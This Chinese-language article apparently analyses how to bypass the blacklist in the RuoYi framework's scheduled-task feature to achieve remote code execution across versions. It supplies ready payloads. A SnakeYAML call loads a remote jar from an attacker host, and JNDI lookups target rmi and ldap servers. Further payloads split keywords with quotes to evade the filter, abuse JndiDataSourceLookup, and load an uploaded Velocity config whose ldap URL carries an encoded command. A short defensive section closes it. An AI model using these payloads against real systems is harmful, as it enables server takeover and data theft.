某依rce黑名单多种bypass方法分析
字数 1022 2025-08-29 08:31:35

若依RCE黑名单绕过方法深度分析

一、若依RCE漏洞背景

若依框架存在两处RCE漏洞点:

  1. 定时任务功能
  2. Thymeleaf模板注入

本文重点分析定时任务功能的黑名单绕过方法。

二、定时任务RCE原理

若依定时任务允许执行满足以下条件的类方法:

  • 具有无参构造方法
  • 调用的方法必须是类自身声明的方法(非父类方法)
  • 构造方法和调用的方法均为public

三、不同版本利用方法

1. 版本<4.6.2

无任何限制,可直接使用公开POC:

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager[!!java.net.URLClassLoader[[!!java.net.URL["http://192.168.3.3:2333/yaml-payload.jar"]]]]')

org.springframework.jndi.JndiLocatorDelegate.lookup('rmi://127.0.0.1:1099/refObj')

javax.naming.InitialContext.lookup('ldap://127.0.0.1:9999/#Exploit')

不出网RCE方法

利用file协议实现不出网利用:

  1. 上传任意后缀文件(若依提供上传接口)
  2. 通过修改配置类设置上传路径
  3. 使用file协议加载上传文件
com.ruoyi.common.config.RuoYiConfig.setProfile('E:/test')

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager[!!java.net.URLClassLoader[[!!java.net.URL["file://上传的绝对路径"]]]]')

2. 版本>=4.6.2且<4.7.2

黑名单限制:

  • 屏蔽ldap远程调用
  • 屏蔽http(s)远程调用
  • 屏蔽rmi远程调用

绕过方法

方法1:使用ldaps协议

  • 在LDAP服务器上搭载SSL层
  • 实现LDAP注入(实现较复杂)

方法2:使用其他协议

  • ftp、file协议

方法3:单引号绕过

  • 若依会将参数中的单引号替换为空
  • 在危险字符间加入单引号
org.springframework.jndi.JndiLocatorDelegate.lookup('r'm'i://127.0.0.1:1099/refObj')

方法4:JNDI Bypass

  • 使用org.springframework.jdbc.datasource.lookup.JndiDataSourceLookup.getDataSource
org.springframework.jdbc.datasource.lookup.JndiDataSourceLookup.getDataSource('ldaps://xxx')

方法5:Velocity配置文件RCE

  1. 上传可控配置文件
  2. 通过org.apache.velocity.runtime.RuntimeInstance#init加载

配置文件示例:

resource.loader = ds
ds.resource.loader.public.name = DataSource
ds.resource.loader.description = Velocity DataSource Resource Loader
ds.resource.loader.class = org.apache.velocity.runtime.resource.loader.DataSourceResourceLoader
ds.resource.loader.datasource_url = ldap://xxx:1389/TomcatBypass/Command/Base64/Y2FsYy5leGU=
ds.resource.loader.resource.table = tb_velocity_template
ds.resource.loader.resource.keycolumn = id_template
ds.resource.loader.resource.templatecolumn = template_definition
ds.resource.loader.resource.timestampcolumn = template_timestamp
ds.resource.loader.cache = false
ds.resource.loader.modificationCheckInterval = 60

POC:

org.apache.velocity.runtime.RuntimeInstance.init('E:/ee.txt')

不出网RCE尝试

尝试使用com.sun.glass.utils.NativeLibLoader#loadLibrary方法:

  • 需要上传.dll或.so文件
  • 若依无法上传这些后缀的文件

3. 版本4.7.3(最新版)

限制改为黑白名单:

  • 只能调用com.ruoyi包下的类
  • 暂无有效绕过方法

四、技术要点总结

  1. 协议利用:file、ldaps、ftp等协议在黑名单限制下仍可能有效
  2. 字符绕过:利用单引号替换机制绕过黑名单检测
  3. 配置文件注入:通过Velocity等框架的配置文件实现RCE
  4. 版本差异:不同版本的黑名单限制不同,需针对性绕过
  5. 不出网利用:关键在于文件上传和路径控制

五、防御建议

  1. 升级到最新版本(4.7.3及以上)
  2. 严格控制文件上传功能
  3. 对定时任务执行进行更严格的权限控制
  4. 监控异常的文件操作和网络请求
若依RCE黑名单绕过方法深度分析 一、若依RCE漏洞背景 若依框架存在两处RCE漏洞点: 定时任务功能 Thymeleaf模板注入 本文重点分析定时任务功能的黑名单绕过方法。 二、定时任务RCE原理 若依定时任务允许执行满足以下条件的类方法: 具有无参构造方法 调用的方法必须是类自身声明的方法(非父类方法) 构造方法和调用的方法均为public 三、不同版本利用方法 1. 版本 <4.6.2 无任何限制,可直接使用公开POC: 不出网RCE方法 利用file协议实现不出网利用: 上传任意后缀文件(若依提供上传接口) 通过修改配置类设置上传路径 使用file协议加载上传文件 2. 版本>=4.6.2且 <4.7.2 黑名单限制: 屏蔽ldap远程调用 屏蔽http(s)远程调用 屏蔽rmi远程调用 绕过方法 方法1:使用ldaps协议 在LDAP服务器上搭载SSL层 实现LDAP注入(实现较复杂) 方法2:使用其他协议 ftp、file协议 方法3:单引号绕过 若依会将参数中的单引号替换为空 在危险字符间加入单引号 方法4:JNDI Bypass 使用 org.springframework.jdbc.datasource.lookup.JndiDataSourceLookup.getDataSource 方法5:Velocity配置文件RCE 上传可控配置文件 通过 org.apache.velocity.runtime.RuntimeInstance#init 加载 配置文件示例: POC: 不出网RCE尝试 尝试使用 com.sun.glass.utils.NativeLibLoader#loadLibrary 方法: 需要上传.dll或.so文件 若依无法上传这些后缀的文件 3. 版本4.7.3(最新版) 限制改为黑白名单: 只能调用com.ruoyi包下的类 暂无有效绕过方法 四、技术要点总结 协议利用 :file、ldaps、ftp等协议在黑名单限制下仍可能有效 字符绕过 :利用单引号替换机制绕过黑名单检测 配置文件注入 :通过Velocity等框架的配置文件实现RCE 版本差异 :不同版本的黑名单限制不同,需针对性绕过 不出网利用 :关键在于文件上传和路径控制 五、防御建议 升级到最新版本(4.7.3及以上) 严格控制文件上传功能 对定时任务执行进行更严格的权限控制 监控异常的文件操作和网络请求